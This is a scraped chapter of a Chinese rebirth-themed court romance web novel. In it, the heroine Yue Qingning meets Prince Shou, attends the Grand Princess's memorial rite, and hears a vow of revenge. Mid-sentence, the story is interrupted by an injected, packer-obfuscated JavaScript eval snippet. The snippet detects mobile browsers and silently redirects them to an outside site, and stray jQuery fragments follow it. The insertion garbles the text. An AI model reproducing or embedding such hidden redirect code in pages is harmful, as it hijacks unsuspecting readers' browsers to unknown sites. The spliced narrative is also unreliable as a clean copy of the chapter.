40. 第 40 章

作品:《檀奴(重生)

    送走崔护,隔日越清宁想去滕家看一看姐姐,顺便问上一问这药方是怎么回事,谁料到滕家大门紧闭,即便是她也不许进去。


    这大概是头一次滕姐姐拒见她,似乎是因为药方的事正陷入自责,她的心向来牵系万民,这次死了这么多人,她心里定然是不好受的。


    在这头碰了壁,眨眼之间已经是九月十七,公主府再次来请这一家子前往操办祭礼,但越家刚刚劫后余生,更不要提钟氏被伤狠了心,这次说什么也打不起精神出府门,越清宁只好代为操办。


    高大的金扉门口挂上了纸灯,这京城里没一个敢像长公主这样每年大肆操办祭礼的。


    越清宁下车毫无准备会遇见那人,半开的朱门对侧,他神态平静的立在门边,两手插在袖里,见她来了摇晃着往旁侧让了一步,脸上那似笑非笑的表情着实唬人。


    “见过寿王殿下。”


    好似不见的这段时间两人中发生了什么蹊跷事,寿王轻轻嗯了一声,也不多说,只拿那双冷淡的眸子上下扫了她两回,收回目光后兀自抬步便走。


    越清宁想不到长公主会在这种日子请他过来,或许自那日开始,他便不曾走过。


    两人携步而行,越走越慢,本就怕他,此刻别无二人的情形逼得她局促的不像样,甚至连缩在袖中的手心也开始蕴出冷汗。


    他久久的不置一词,更加剧这种恐慌,二人并肩良久还是越清宁先忍不下去无言的折磨,搭话道。


    “先前听闻是殿下勘破马瘟案,为我弟弟求得公道,清宁多谢殿下!”


    停也未停,他依旧往前走着,似是稍稍斜了她一眼,沉吟着念道。


    “你弟弟现今如何?”


    “清喆无碍,早两日前便回去学堂了。”


    正穿过林荫的一条小路往祠堂过去,林间风涌卷起绿浪,在前边的寿王突然停下脚步,将她也拦在了后边。


    越清宁不懂他这是要做什么,然他回过身来,十分认真的瞧着她消瘦不少的面颊。


    “我本不是个追根究底的人,但这次之后脑海中突然生出了个妄论。”


    越清宁仰头望着他,心中亦是有些躁动。


    她活得不久,所以也没有看到他最后有没有成功,如此便只能做赌,赌他并非池中之物,赌他能够洞隐见微。


    因着将这点希冀交付在他身上,某些时候,对这个同她无关的萧家人也渐显露出些不同于旁人的信任感。


    纤细的脖颈直挺挺的朝他支着,撑出面白中带粉的干净娇靥,寿王垂眸瞧她不自觉眯了眯眼。


    世间众人都有故事,但无论官做的多大,背景有多雄厚,了解生平便能一眼看尽,然而她身上的谜团始终隔了层雾,他也曾细致的将她过往查清,左不过是个有些才气的深闺女子。


    但她所表现出的不寻常,恰如此刻明明怕他,还敢拿那双透亮的眼睛乖乖的依偎于他,像是无论何事都可以帮他去办。


    她为什么这样忠诚于他?


    想着,寿王有些怀疑意味的意图试探试探。


    “这天底下的灾祸谁也算不到,汲汲营营抵不过一朝变动。之前,是我做的不妥,马瘟案之后才叫我想明白一事。”


    他细细的在齿间咀嚼良久,吐字时却快速又利落。“清宁,婚事若是你不愿意也是可以的。”


    崔护乃边关守将,一旦和他成亲必要经历长久的夫妻分别,更何况这人本就不是她属意的良人,京都的闺秀更不可能随他走到那万里之外的边关过活。


    护国公府的名头虽好,但京中的权贵再喜欢这名也要掂量掂量自家女儿日后的生活,崔护于她们而言当真是下下策。


    此言卑鄙至极,他从未由心要放她一马,只是想透过伪装,观一观她心性。


    越清宁显然也被他表现出的真挚哄到,只不过她两眉紧锁偏了偏头,好似一瞬间想清楚了后果,望着他乖顺的应下。


    “多谢殿下替清宁忧虑,少主很好,我是愿意的。”


    二者相顾无言,静默了好半晌,越清宁垂着脑袋等了一会儿,见他不说话也就忍不住抬眼观他面色。


    只见这向来游刃有余的寿王殿下,离她如此之近却遥遥的望着她,像是隔着层纱似的看不透她人。


    她心底里咯噔咯噔的直跳,心想莫不是哪里说错了什么话。


    然而两人之间还未分明,绕过长廊的丫鬟过来通报,说长公主殿下正在等着越家姑娘过去。


    如此,二者便就要在这里分开,越清宁告辞先行离去,却在一段路后还是朝后瞥了一眼。


    环侍的人群中央,他的眼睛如同鹰隼,直直的透过众人盯在了她的脸上。


    像是还未得解的执念逐渐生了根。


    ——


    到了长公主的暖阁里,那份被注视的悸动还未从心底消除,她很久不曾有过这样的胆战心惊,她有些看不懂,分明也不是恶意,但他那眼神隐隐藏着几分恨。


    他为什么总是这样瞧她呢?


    越清宁将帘子落下来进入满室药香的内阁,长公主正倚在床边,手里逗弄着一只文鸟,看上去倒不像是尚在病中的模样。


    这病已经装了半月有余,却还不见好转,这子侄俩的心思谁也猜不明白,瞧不清楚。


    正见她进来,长公主命人将鸟儿送了下去,拍拍被子叫她上前。


    “清喆好不好?你娘亲可担心的吃不下饭了?”


    越清宁不敢隐瞒据实告知,自疫病这事终了,母亲强撑着越府许久,一时松懈下来百病缠身,现今头痛的连起床都不能,济元堂的汤药一日三送,几乎日日不停。


    长公主闻言哀叹一声,攥着她的手捂着掌心,急得眉头也要皱在一处。


    越清宁忙道:“母亲的头风是旧疾,殿下无需为此担忧,待这段时间过去,自然就会好转。”


    如此再劝也打消不了长公主心中的忧虑,她分明是为了越家安稳,没想到阴差阳错的半点也没给阿宁帮上忙。


    这孩子脾性至纯,恐怕一时要钻牛角尖的。


    想到这她再次叹了声,拍了拍清宁手背。


    “这次是我不好,你母亲那里我自会去开解,你在这里便不用操心这些事,只安安稳稳陪我过好这个忌辰便得了。”


    说着话,轻巧的掀开被子这就要起身下地,越清宁被她吓了一跳,连忙将人扶住。


    谁料这位病中的长公主殿下,勾起唇角拍了拍她的胳膊,一捋袍子,精神焕发的站在地上,连一丝摇晃也没有,平稳的缓步迈出了房门。


    越清宁心底的疑惑藤蔓一般缠绕在一起,但终归是跟


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16066028|178814||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    着人走了出去。


    一前一后,一老一少就这么行过庭院,走入了那方燃着香烟的祠堂。


    室内的光线被窄小的门框方住,剩下的那点亮光,显然不足以照亮宽阔幽深的室内,而在最中间,还残留着佛像印记的轮廓下,一只小小的木牌立在正当间,与这满室的琳琅显得如此格格不入。


    长公主自走进来,再也没回过头,顺手抽了三支香,向着摆放牌位的灵台跪下。


    越清宁也随她跪下,心中因曾听闻他的过往,也生出无限哀思。


    仿佛这人生长在记挂他的亲缘血肉里,只要念起他,关于他的故事便不算终结。


    长公主领她跪着,垂眸低触下,空气里暗暗流淌着的无尽思念,也于静默中感染着她,她忍不住垂头向这位舅公诚心许愿,想他多多去长公主梦中宽慰一二。


    然她的心思藏在心中默念,旁侧的长公主却于袅袅香烟中念出了声。


    “晢哥,你要护佑我得偿所愿,你放心!”


    “欠了你的人我一定要叫他尽数偿还!!”


    犹如棵树,外面掩饰的干干净净,可地下深埋着的根系,纠错交缠着死死扣在一起,这一声里像是将整棵树浑然拔起,显在外面的那些不见天日的恨意淅淅沥沥的带着泥土,就这么被明晃晃的翻了上来。


    叫初次观之的旁人一脸错愕,心慌不已。


    而越清宁偏是那个初次触及隐秘的旁人,她乍的张开眼,心惊的朝外头看了看。


    四下无人,长公主那声里带着的憎恶破开静谧,好似要将前尘往事翻出来似的执拗,惊得她也手足无措。


    然而当事之人,好似并不在意被她听了去,说完心里话,向着牌位三叩三拜,恭敬的将香烛插进炉里。


    谁欠了舅公?欠了什么?


    越清宁直觉这其中的秘密非同一般,因此也无法率先开口。


    但长公主好似早明白她的忧心,淡淡道:“清宁不想知道是谁害了你舅公吗?”


    越清宁下唇慌张的抖了抖,她想,但又不想。


    正在这时,门外却突然传来一声通传。


    “陛下驾到!”


    越清宁腾的起身,心中又慌又怕,这是她这两辈子以来第一次见皇帝。


    正胡乱思索着,却见长公主闻声,连起身都不曾,仍是端端的跪在原地,仰头闭眼静思。


    如此大胆,无畏皇权。越清宁心惊胆战不知道如何是好,然而门外那位天子已然亲临,她慌忙的退到门边上,缩成个无人在意的小小一团,低低喊了声:“请陛下安。”


    进来的那抹明黄身影瞧都不曾瞧她,掠过面前跪作撒豆的下人走到他那位姐姐身后。


    门边立刻有人将清宁拽了出来,掩蔽房门,留这两位金尊玉贵的皇家人自行说话。


    越清宁退到外边,才感觉到自己膝下的疼痛,怕是刚才太过着急不小心磕到了双膝,她叹了声,从前只道自己厌恶皇家人,没想到真的见到天子,她的恐惧远远大于厌恶。


    天下所有的供养皆为那一人,她忍不住幻想,若是执权之人并非善类,天下岂不是供他一人戏耍。


    正兀自思量着,门外突然有人唤她。


    越清宁抬眸瞧过去,没想到那人正是她两世今生最大的仇人——萧衍。